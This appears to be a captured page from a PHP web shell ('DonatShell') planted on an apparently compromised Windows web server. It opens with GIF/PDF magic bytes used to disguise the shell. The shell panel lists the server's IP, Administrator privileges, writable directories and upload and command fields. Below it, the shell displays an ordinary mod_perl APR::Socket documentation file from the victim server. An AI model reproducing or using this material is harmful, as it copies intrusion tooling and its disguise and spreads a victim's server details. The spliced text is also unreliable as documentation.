GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR/Socket.html
<?xml version="1.0" ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<!-- saved from url=(0017)http://localhost/ -->
<script language="JavaScript" src="../../../displayToc.js"></script>
<script language="JavaScript" src="../../../tocParas.js"></script>
<script language="JavaScript" src="../../../tocTab.js"></script>
<link rel="stylesheet" type="text/css" href="../../../scineplex.css">
<title>APR::Socket - Perl API for APR sockets</title>
<link rel="stylesheet" href="../../../Active.css" type="text/css" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:" />
</head>

<body>


<!-- INDEX BEGIN -->
<div name="index">
<script>writelinks('__top__',3);</script>
<h1><a>APR::Socket - Perl API for APR sockets</a></h1>
<p><a name="__index__"></a></p>


<ul>

	<li><a href="#name">NAME</a></li>
	<li><a href="#synopsis">Synopsis</a></li>
	<li><a href="#description">Description</a></li>
	<li><a href="#api">API</a></li>
	<ul>

		<li><a href="#opt_get"><code>opt_get</code></a></li>
		<li><a href="#opt_set"><code>opt_set</code></a></li>
		<li><a href="#poll"><code>poll</code></a></li>
		<li><a href="#recv"><a href="../../../lib/pods/perlfunc.html#recv"><code>recv</code></a></a></li>
		<li><a href="#send"><a href="../../../lib/pods/perlfunc.html#send"><code>send</code></a></a></li>
		<li><a href="#timeout_get"><code>timeout_get</code></a></li>
		<li><a href="#timeout_set"><code>timeout_set</code></a></li>
	</ul>

	<li><a href="#unsupported_api">Unsupported API</a></li>
	<ul>

		<li><a href="#bind"><a href="../../../lib/pods/perlfunc.html#bind"><code>bind</code></a></a></li>
		<li><a href="#close"><a href="../../../lib/pods/perlfunc.html#close"><code>close</code></a></a></li>
		<li><a href="#connect"><a href="../../../lib/pods/perlfunc.html#connect"><code>connect</code></a></a></li>
		<li><a href="#listen"><a href="../../../lib/pods/perlfunc.html#listen"><code>listen</code></a></a></li>
		<li><a href="#recvfrom"><code>recvfrom</code></a></li>
		<li><a href="#sendto"><code>sendto</code></a></li>
	</ul>

	<li><a href="#see_also">See Also</a></li>
	<li><a href="#copyright">Copyright</a></li>
	<li><a href="#authors">Authors</a></li>
</ul>

<hr name="index" />
</div>
<!-- INDEX END -->

<p>
</p>
<h1><a name="name">NAME</a></h1>
<p>APR::Socket - Perl API for APR sockets</p>
<p>
</p>
<hr />
<h1><a name="synopsis">Synopsis</a></h1>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Socket</span> <span class="operator">();</span>
  
  <span class="comment">### set the socket to the blocking mode if it isn't already</span>
  <span class="comment">### and read in the loop and echo it back</span>
  <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=&gt;</span> <span class="string">qw(SO_NONBLOCK)</span><span class="operator">;</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">opt_get</span><span class="operator">(</span><span class="variable">APR::Const::SO_NONBLOCK</span><span class="operator">))</span> <span class="operator">{</span>
      <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">opt_set</span><span class="operator">(</span><span class="variable">APR::Const::SO_NONBLOCK</span> <span class="operator">=&gt;</span> <span class="number">0</span><span class="operator">);</span>
  <span class="operator">}</span>
  <span class="comment"># read from/write to the socket (w/o handling possible failures)</span>
  <span class="keyword">my</span> <span class="variable">$wanted</span> <span class="operator">=</span> <span class="number">1024</span><span class="operator">;</span>
  <span class="keyword">while</span> <span class="operator">(</span><span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">recv</span><span class="operator">(</span><span class="keyword">my</span> <span class="variable">$buff</span><span class="operator">,</span> <span class="variable">$wanted</span><span class="operator">))</span> <span class="operator">{</span>
      <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">send</span><span class="operator">(</span><span class="variable">$buff</span><span class="operator">);</span>
  <span class="operator">}</span>
</pre>
<pre>
  <span class="comment">### get/set IO timeout and try to read some data</span>
  <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=&gt;</span> <span class="string">qw(TIMEUP)</span><span class="operator">;</span>
  <span class="comment"># timeout is in usecs!</span>
  <span class="keyword">my</span> <span class="variable">$timeout</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">timeout_get</span><span class="operator">();</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$timeout</span> <span class="operator">&lt;</span> <span class="number">10_000_000</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">timeout_set</span><span class="operator">(</span><span class="number">20_000_000</span><span class="operator">);</span> <span class="comment"># 20 secs</span>
  <span class="operator">}</span>
  <span class="comment"># now read, while handling timeouts</span>
  <span class="keyword">my</span> <span class="variable">$wanted</span> <span class="operator">=</span> <span class="number">1024</span><span class="operator">;</span>
  <span class="keyword">my</span> <span class="variable">$buff</span><span class="operator">;</span>
  <span class="keyword">my</span> <span class="variable">$rlen</span> <span class="operator">=</span> <span class="keyword">eval</span> <span class="operator">{</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">recv</span><span class="operator">(</span><span class="variable">$buff</span><span class="operator">,</span> <span class="variable">$wanted</span><span class="operator">)</span> <span class="operator">};</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$@</span> <span class="operator">&amp;&amp;</span> <span class="keyword">ref</span> <span class="variable">$@</span> <span class="operator">&amp;&amp;</span> <span class="variable">$@</span> <span class="operator">==</span> <span class="variable">APR::Const::TIMEUP</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="comment"># timeout, do something, e.g.</span>
      <span class="keyword">warn</span> <span class="string">"timed out, will try again later"</span><span class="operator">;</span>
  <span class="operator">}</span>
  <span class="keyword">else</span> <span class="operator">{</span>
      <span class="keyword">warn</span> <span class="string">"asked for </span><span class="variable">$wanted</span><span class="string"> bytes, read </span><span class="variable">$rlen</span><span class="string"> bytes\n"</span><span class="operator">;</span>
      <span class="comment"># do something with the data</span>
  <span class="operator">}</span>
</pre>
<pre>
  <span class="comment"># non-blocking io poll</span>
  <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">opt_set</span><span class="operator">(</span><span class="variable">APR::Const::SO_NONBLOCK</span> <span class="operator">=&gt;</span> <span class="number">1</span><span class="operator">);</span>
  <span class="keyword">my</span> <span class="variable">$rc</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">poll</span><span class="operator">(</span><span class="variable">$c</span><span class="operator">-&gt;</span><span class="variable">pool</span><span class="operator">,</span> <span class="number">1_000_000</span><span class="operator">,</span> <span class="variable">APR::Const::POLLIN</span><span class="operator">);</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$rc</span> <span class="operator">==</span> <span class="variable">APR::Const::SUCCESS</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="comment"># read the data</span>
  <span class="operator">}</span>
  <span class="keyword">else</span> <span class="operator">{</span>
      <span class="comment"># handle the condition</span>
  <span class="operator">}</span>
</pre>
<p>
</p>
<hr />
<h1><a name="description">Description</a></h1>
<p><code>APR::Socket</code> provides the Perl interface to APR sockets.</p>
<p>
</p>
<hr />
<h1><a name="api">API</a></h1>
<p><code>APR::Socket</code> provides the following methods:</p>
<p>
</p>
<h2><a name="opt_get"><code>opt_get</code></a></h2>
<p>Query socket options for the specified socket</p>
<pre>
  <span class="variable">$val</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">opt_get</span><span class="operator">(</span><span class="variable">$opt</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong><a name="sock" class="item">obj: <code>$sock</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> )</a></strong>

<dd>
<p>the socket object to query</p>
</dd>
</li>
<dt><strong><a name="opt" class="item">arg1: <code>$opt</code>
( <code>APR::Const constant|docs::2.0::api::APR::Const/C__socket_</code> )</a></strong>

<dd>
<p>the socket option we would like to configure.  Here are the
<a href="../../../docs/2.0/api/APR/Const.html#c__socket_">available socket options</a>.</p>
</dd>
</li>
<dt><strong><a name="val" class="item">ret: <code>$val</code> ( integer )</a></strong>

<dd>
<p>the currently set value for <a href="../../../docs/2.0/api/APR/Const.html#c__socket_">the socket option</a> you've queried for</p>
</dd>
</li>
<dt><strong><a name="excpt_apr_error_docs_2_0_api_apr_error6" class="item">excpt: <code>APR::Error|docs::2.0::api::APR::Error</code></a></strong>

<dt><strong><a name="since_2_0_00260" class="item">since: 2.0.00</a></strong>

</dl>
<p>Examples can be found in <a href="../../../docs/2.0/api/APR/Const.html#c__socket_">the socket options constants section</a>. For example <a href="../../../docs/2.0/api/APR/Const.html#c_apr__const__so_nonblock_">setting  the IO to the blocking mode</a>.</p>
<p>
</p>
<h2><a name="opt_set"><code>opt_set</code></a></h2>
<p>Setup socket options for the specified socket</p>
<pre>
  <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">opt_set</span><span class="operator">(</span><span class="variable">$opt</span><span class="operator">,</span> <span class="variable">$val</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>obj: <code>$sock</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> object )</strong>

<dd>
<p>the socket object to set up.</p>
</dd>
</li>
<dt><strong>arg1: <code>$opt</code>
( <code>APR::Const|docs::2.0::api::APR::Const/C__socket_</code> constant )</strong>

<dd>
<p>the socket option we would like to configure.  Here are the
<a href="../../../docs/2.0/api/APR/Const.html#c__socket_">available socket options</a>.</p>
</dd>
</li>
<dt><strong>arg2: <code>$val</code> ( integer )</strong>

<dd>
<p>value for the option. Refer to the <a href="../../../docs/2.0/api/APR/Const.html#c__socket_">socket options</a> section to learn about
the expected values.</p>
</dd>
</li>
<dt><strong><a name="ret_no_return_value17" class="item">ret: no return value</a></strong>

<dt><strong><a name="excpt_apr_error_docs_2_0_api_apr_error7" class="item">excpt: <code>APR::Error|docs::2.0::api::APR::Error</code></a></strong>

<dt><strong><a name="since_2_0_00261" class="item">since: 2.0.00</a></strong>

</dl>
<p>Examples can be found in <a href="../../../docs/2.0/api/APR/Const.html#c__socket_">the socket options constants section</a>. For example <a href="../../../docs/2.0/api/APR/Const.html#c_apr__const__so_nonblock_">setting  the IO to the blocking mode</a>.</p>
<p>
</p>
<h2><a name="poll"><code>poll</code></a></h2>
<p>Poll the socket for events:</p>
<pre>
    <span class="variable">$rc</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">poll</span><span class="operator">(</span><span class="variable">$pool</span><span class="operator">,</span> <span class="variable">$timeout</span><span class="operator">,</span> <span class="variable">$events</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>obj: <code>$sock</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> )</strong>

<dd>
<p>The socket to poll</p>
</dd>
</li>
<dt><strong><a name="pool" class="item">arg1: <code>$pool</code>
( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</a></strong>

<dd>
<p>usually <a href="#pool"><code>$c-&gt;pool|docs::2.0::api::Apache2::Connection/C_pool_</code></a>.</p>
</dd>
</li>
<dt><strong><a name="timeout" class="item">arg2: <code>$timeout</code> ( integer )</a></strong>

<dd>
<p>The amount of time to wait (in milliseconds) for the specified events
to occur.</p>
</dd>
</li>
<dt><strong><a name="events" class="item">arg3: <code>$events</code> ( <code>APR::Const :poll
constants|docs::2.0::api::APR::Const/C__poll_</code> )</a></strong>

<dd>
<p>The events for which to wait.</p>
</dd>
<dd>
<p>For example use
<code>APR::Const::POLLIN|docs::2.0::api::APR::Const/C_APR__Const__POLLIN_</code> to wait
for incoming data to be available,
<code>APR::Const::POLLOUT|docs::2.0::api::APR::Const/C_APR__Const__POLLOUT_</code> to wait
until it's possible to write data to the socket and
<code>APR::Const::POLLPRI|docs::2.0::api::APR::Const/C_APR__Const__POLLPRI_</code> to wait
for priority data to become available.</p>
</dd>
</li>
<dt><strong><a name="rc" class="item">ret: <code>$rc</code>
( <code>APR::Const constant|docs::2.0::api::APR::Const</code> )</a></strong>

<dd>
<p>If <code>APR::Const::SUCCESS</code> is received than the polling was successful. If not
-- the error code is returned, which can be converted to the error
string with help of
<code>APR::Error::strerror|docs::2.0::api::APR::Error/C_strerror_</code>.</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00262" class="item">since: 2.0.00</a></strong>

</dl>
<p>For example poll a non-blocking socket up to 1 second when reading
data from the client:</p>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Socket</span> <span class="operator">();</span>
  <span class="keyword">use</span> <span class="variable">APR::Connection</span> <span class="operator">();</span>
  <span class="keyword">use</span> <span class="variable">APR::Error</span> <span class="operator">();</span>
  
  <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=&gt;</span> <span class="string">qw(SO_NONBLOCK POLLIN SUCCESS TIMEUP)</span><span class="operator">;</span>
  
  <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">opt_set</span><span class="operator">(</span><span class="variable">APR::Const::SO_NONBLOCK</span> <span class="operator">=&gt;</span> <span class="number">1</span><span class="operator">);</span>
  
  <span class="keyword">my</span> <span class="variable">$rc</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">poll</span><span class="operator">(</span><span class="variable">$c</span><span class="operator">-&gt;</span><span class="variable">pool</span><span class="operator">,</span> <span class="number">1_000_000</span><span class="operator">,</span> <span class="variable">APR::Const::POLLIN</span><span class="operator">);</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$rc</span> <span class="operator">==</span> <span class="variable">APR::Const::SUCCESS</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="comment"># Data is waiting on the socket to be read.</span>
      <span class="comment"># $sock-&gt;recv(my $buf, BUFF_LEN)</span>
  <span class="operator">}</span>
  <span class="keyword">elsif</span> <span class="operator">(</span><span class="variable">$rc</span> <span class="operator">==</span> <span class="variable">APR::Const::TIMEUP</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="comment"># One second elapsed and still there is no data waiting to be</span>
      <span class="comment"># read. for example could try again.</span>
  <span class="operator">}</span>
  <span class="keyword">else</span> <span class="operator">{</span>
      <span class="keyword">die</span> <span class="string">"poll error: "</span> <span class="operator">.</span> <span class="variable">APR::Error::strerror</span><span class="operator">(</span><span class="variable">$rc</span><span class="operator">);</span>
  <span class="operator">}</span>
</pre>
<p>
</p>
<h2><a name="recv"><a href="../../../lib/pods/perlfunc.html#recv"><code>recv</code></a></a></h2>
<p>Read incoming data from the socket</p>
<pre>
  <span class="variable">$len</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">recv</span><span class="operator">(</span><span class="variable">$buffer</span><span class="operator">,</span> <span class="variable">$wanted</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>obj: <code>$sock</code>
( <code>APR::SockAddr object|docs::2.0::api::APR::SockAddr</code> object )</strong>

<dd>
<p>The socket to read from</p>
</dd>
</li>
<dt><strong><a name="buffer" class="item">arg1: <code>$buffer</code> ( SCALAR )</a></strong>

<dd>
<p>The buffer to fill. All previous data will be lost.</p>
</dd>
</li>
<dt><strong><a name="wanted" class="item">arg2: <code>$wanted</code> ( int )</a></strong>

<dd>
<p>How many bytes to attempt to read.</p>
</dd>
</li>
<dt><strong><a name="len" class="item">ret: <code>$len</code> ( number )</a></strong>

<dd>
<p>How many bytes were actually read.</p>
</dd>
<dd>
<p><code>$buffer</code> gets populated with the string that is read. It will
contain an empty string if there was nothing to read.</p>
</dd>
</li>
<dt><strong><a name="excpt_apr_error_docs_2_0_api_apr_error8" class="item">excpt: <code>APR::Error|docs::2.0::api::APR::Error</code></a></strong>

<dd>
<p>If you get the <code>'(11) Resource temporarily unavailable'</code> error
(exception
<code>APR::Const::EAGAIN|docs::2.0::api::APR::Const/C_APR__Const__EAGAIN_</code>)
(or another equivalent, which might be different on non-POSIX
systems), then you didn't ensure that the socket is in <a href="#c_opt_set_">a blocking IO mode</a> before using it. Note that you should use 
<code>APR::Status::is_EAGAIN|docs::2.0::api::APR::Status/C_is_EAGAIN_</code>
to perform this check (since different error codes may be returned for
the same event on different OSes). For example if the socket is set to
the non-blocking mode and there is no data right away, you may get
this exception thrown. So here is how to check for it and retry a few
times after short delays:</p>
</dd>
<dd>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Status</span> <span class="operator">();</span>
  <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">opt_set</span><span class="operator">(</span><span class="variable">APR::Const::SO_NONBLOCK</span><span class="operator">,</span> <span class="number">1</span><span class="operator">);</span>
  <span class="comment"># ....</span>
  <span class="keyword">my</span> <span class="variable">$tries</span> <span class="operator">=</span> <span class="number">0</span><span class="operator">;</span>
  <span class="keyword">my</span> <span class="variable">$buffer</span><span class="operator">;</span>
  <span class="variable">RETRY</span><span class="operator">:</span> <span class="keyword">my</span> <span class="variable">$rlen</span> <span class="operator">=</span> <span class="keyword">eval</span> <span class="operator">{</span> <span class="variable">$socket</span><span class="operator">-&gt;</span><span class="keyword">recv</span><span class="operator">(</span><span class="variable">$buffer</span><span class="operator">,</span> <span class="variable">SIZE</span><span class="operator">)</span> <span class="operator">};</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$@</span><span class="operator">)</span>
      <span class="keyword">die</span> <span class="variable">$@</span> <span class="keyword">unless</span> <span class="keyword">ref</span> <span class="variable">$@</span> <span class="operator">&amp;&amp;</span> <span class="variable">APR::Status::is_EAGAIN</span><span class="operator">(</span><span class="variable">$@</span><span class="operator">);</span>
      <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$tries</span><span class="operator">++</span> <span class="operator">&lt;</span> <span class="number">3</span><span class="operator">)</span> <span class="operator">{</span>
          <span class="comment"># sleep 250msec</span>
          <span class="keyword">select</span> <span class="keyword">undef</span><span class="operator">,</span> <span class="keyword">undef</span><span class="operator">,</span> <span class="keyword">undef</span><span class="operator">,</span> <span class="number">0</span><span class="operator">.</span><span class="number">25</span><span class="operator">;</span>
          <span class="keyword">goto</span> <span class="variable">RETRY</span><span class="operator">;</span>
      <span class="operator">}</span>
      <span class="keyword">else</span> <span class="operator">{</span>
          <span class="comment"># do something else</span>
      <span class="operator">}</span>
  <span class="operator">}</span>
  <span class="keyword">warn</span> <span class="string">"read </span><span class="variable">$rlen</span><span class="string"> bytes\n"</span>
</pre>
</dd>
<dd>
<p>If timeout was set via <code>timeout_set|/C_timeout_set_</code>, you may need to
catch the
<code>APR::Const::TIMEUP|docs::2.0::api::APR::Const/C_APR__Const__TIMEUP_</code>
exception. For example:</p>
</dd>
<dd>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=&gt;</span> <span class="string">qw(TIMEUP)</span><span class="operator">;</span>
  <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">timeout_set</span><span class="operator">(</span><span class="number">1_000_000</span><span class="operator">);</span> <span class="comment"># 1 sec</span>
  <span class="keyword">my</span> <span class="variable">$buffer</span><span class="operator">;</span>
  <span class="keyword">eval</span> <span class="operator">{</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">recv</span><span class="operator">(</span><span class="variable">$buffer</span><span class="operator">,</span> <span class="variable">$wanted</span><span class="operator">)</span> <span class="operator">};</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$@</span> <span class="operator">&amp;&amp;</span> <span class="variable">$@</span> <span class="operator">==</span> <span class="variable">APR::Const::TIMEUP</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="comment"># timeout, do something, e.g.</span>
  <span class="operator">}</span>
</pre>
</dd>
<dd>
<p>If not handled -- you may get the error <code>'70007: The timeout
specified has expired'</code>.</p>
</dd>
<dd>
<p>Another error condition that may occur is the <code>'(104) Connection
reset by peer'</code> error, which is up to your application logic to decide
whether it's an error or not. This error usually happens when the
client aborts the connection.</p>
</dd>
<dd>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=&gt;</span> <span class="string">qw(ECONNABORTED)</span><span class="operator">;</span>
  <span class="keyword">my</span> <span class="variable">$buffer</span><span class="operator">;</span>
  <span class="keyword">eval</span> <span class="operator">{</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">recv</span><span class="operator">(</span><span class="variable">$buffer</span><span class="operator">,</span> <span class="variable">$wanted</span><span class="operator">)</span> <span class="operator">};</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$@</span> <span class="operator">==</span> <span class="variable">APR::Const::ECONNABORTED</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="comment"># ignore it or deal with it</span>
  <span class="operator">}</span>
</pre>
</dd>
</li>
<dt><strong><a name="since_2_0_00263" class="item">since: 2.0.00</a></strong>

</dl>
<p>Here is the quick prototype example, which doesn't handle any errors
(mod_perl will do that for you):</p>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Socket</span> <span class="operator">();</span>
  
  <span class="comment"># set the socket to the blocking mode if it isn't already</span>
  <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=&gt;</span> <span class="string">qw(SO_NONBLOCK)</span><span class="operator">;</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">opt_get</span><span class="operator">(</span><span class="variable">APR::Const::SO_NONBLOCK</span><span class="operator">))</span> <span class="operator">{</span>
      <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">opt_set</span><span class="operator">(</span><span class="variable">APR::Const::SO_NONBLOCK</span> <span class="operator">=&gt;</span> <span class="number">0</span><span class="operator">);</span>
  <span class="operator">}</span>
  <span class="comment"># read from/write to the socket (w/o handling possible failures)</span>
  <span class="keyword">my</span> <span class="variable">$wanted</span> <span class="operator">=</span> <span class="number">1024</span><span class="operator">;</span>
  <span class="keyword">while</span> <span class="operator">(</span><span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">recv</span><span class="operator">(</span><span class="keyword">my</span> <span class="variable">$buffer</span><span class="operator">,</span> <span class="variable">$wanted</span><span class="operator">))</span> <span class="operator">{</span>
      <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">send</span><span class="operator">(</span><span class="variable">$buffer</span><span class="operator">);</span>
  <span class="operator">}</span>
</pre>
<p>If you want to handle errors by yourself, the loop may look like:</p>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=&gt;</span> <span class="string">qw(ECONNABORTED)</span><span class="operator">;</span>
  <span class="comment"># ...</span>
  <span class="keyword">while</span> <span class="operator">(</span><span class="number">1</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="keyword">my</span> <span class="variable">$buf</span><span class="operator">;</span>
      <span class="keyword">my</span> <span class="variable">$len</span> <span class="operator">=</span> <span class="keyword">eval</span> <span class="operator">{</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">recv</span><span class="operator">(</span><span class="variable">$buf</span><span class="operator">,</span> <span class="variable">$wanted</span><span class="operator">)</span> <span class="operator">};</span>
      <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$@</span><span class="operator">)</span> <span class="operator">{</span>
          <span class="comment"># handle the error, e.g. to ignore aborted connections but</span>
          <span class="comment"># rethrow any other errors:</span>
          <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$@</span> <span class="operator">==</span> <span class="variable">APR::Const::ECONNABORTED</span><span class="operator">)</span> <span class="operator">{</span>
              <span class="comment"># ignore</span>
              <span class="keyword">last</span><span class="operator">;</span>
          <span class="operator">}</span>
          <span class="keyword">else</span> <span class="operator">{</span>
              <span class="keyword">die</span> <span class="variable">$@</span><span class="operator">;</span> <span class="comment"># retrow</span>
          <span class="operator">}</span>
      <span class="operator">}</span>
  
      <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$len</span><span class="operator">)</span> <span class="operator">{</span>
          <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">send</span><span class="operator">(</span><span class="variable">$buffer</span><span class="operator">);</span>
      <span class="operator">}</span>
      <span class="keyword">else</span> <span class="operator">{</span>
          <span class="keyword">last</span><span class="operator">;</span>
      <span class="operator">}</span>
  <span class="operator">}</span>
</pre>
<p>
</p>
<h2><a name="send"><a href="../../../lib/pods/perlfunc.html#send"><code>send</code></a></a></h2>
<p>Write data to the socket</p>
<pre>
  <span class="variable">$wlen</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">send</span><span class="operator">(</span><span class="variable">$buf</span><span class="operator">,</span> <span class="variable">$opt_len</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>obj: <code>$sock</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> )</strong>

<dd>
<p>The socket to write to</p>
</dd>
</li>
<dt><strong><a name="buf" class="item">arg1: <code>$buf</code> ( scalar )</a></strong>

<dd>
<p>The data to send</p>
</dd>
</li>
<dt><strong><a name="opt_len" class="item">opt arg2: <code>$opt_len</code> ( int )</a></strong>

<dd>
<p>There is no need to pass this argument, unless you want to send less
data than contained in <code>$buf</code>.</p>
</dd>
</li>
<dt><strong><a name="wlen" class="item">ret: <code>$wlen</code> ( integer )</a></strong>

<dd>
<p>How many bytes were sent</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00264" class="item">since: 2.0.00</a></strong>

</dl>
<p>For examples see the <code>recv|/C_recv_</code> item.</p>
<p>
</p>
<h2><a name="timeout_get"><code>timeout_get</code></a></h2>
<p>Get socket timeout settings</p>
<pre>
  <span class="variable">$usecs</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">timeout_get</span><span class="operator">();</span>
</pre>
<dl>
<dt><strong>obj: <code>$sock</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> )</strong>

<dd>
<p>The socket to set up.</p>
</dd>
</li>
<dt><strong><a name="usecs" class="item">ret: <code>$usecs</code> ( number)</a></strong>

<dd>
<p>Currently set timeout in microseconds (and also the blocking IO
behavior). See (<code>APR::timeout_set|/C__timeout_set_</code>) for possible
values and their meaning.</p>
</dd>
</li>
<dt><strong><a name="excpt_apr_error_docs_2_0_api_apr_error9" class="item">excpt: <code>APR::Error|docs::2.0::api::APR::Error</code></a></strong>

<dt><strong><a name="since_2_0_00265" class="item">since: 2.0.00</a></strong>

</dl>
<p>
</p>
<h2><a name="timeout_set"><code>timeout_set</code></a></h2>
<p>Setup socket timeout.</p>
<pre>
  <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">timeout_set</span><span class="operator">(</span><span class="variable">$usecs</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>obj: <code>$sock</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> )</strong>

<dd>
<p>The socket to set up.</p>
</dd>
</li>
<dt><strong>arg1: <code>$usecs</code> ( number )</strong>

<dd>
<p>Value for the timeout in microseconds and also the blocking IO
behavior.</p>
</dd>
<dd>
<p>The possible values are:</p>
</dd>
<dl>
<dt><strong><a name="t_0" class="item">t &gt; 0</a></strong>

<dd>
<p><a href="../../../lib/pods/perlfunc.html#send"><code>send()|/C__send_</code></a> and <a href="../../../lib/pods/perlfunc.html#recv"><code>recv()|/C__recv_)</code></a> throw
(<code>APR::Const::TIMEUP|docs::2.0::api::APR::Const/C__APR__TIMEUP_</code>
exception) if specified time elapses with no data sent or received.</p>
</dd>
<dd>
<p>Notice that the positive value is in micro seconds. So if you want to
set the timeout for 5 seconds, the value should be: 5_000_000.</p>
</dd>
<dd>
<p>This mode sets the socket into a non-blocking IO mode.</p>
</dd>
</li>
<dt><strong><a name="t_02" class="item">t == 0</a></strong>

<dd>
<p><a href="../../../lib/pods/perlfunc.html#send"><code>send()|/C__send_</code></a> and <a href="../../../lib/pods/perlfunc.html#recv"><code>recv()|/C__recv_)</code></a> calls never block.</p>
</dd>
</li>
<dt><strong><a name="t_03" class="item">t &lt; 0</a></strong>

<dd>
<p><a href="../../../lib/pods/perlfunc.html#send"><code>send()|/C__send_</code></a> and <a href="../../../lib/pods/perlfunc.html#recv"><code>recv()|/C__recv_)</code></a> calls block.</p>
</dd>
<dd>
<p>Usually just -1 is used for this case, but any negative value will do.</p>
</dd>
<dd>
<p>This mode sets the socket into a blocking IO mode.</p>
</dd>
</li>
<dt><strong><a name="ret_no_return_value18" class="item">ret: no return value</a></strong>

</dl>
<dt><strong><a name="excpt_apr_error_docs_2_0_api_apr_error10" class="item">excpt: <code>APR::Error|docs::2.0::api::APR::Error</code></a></strong>

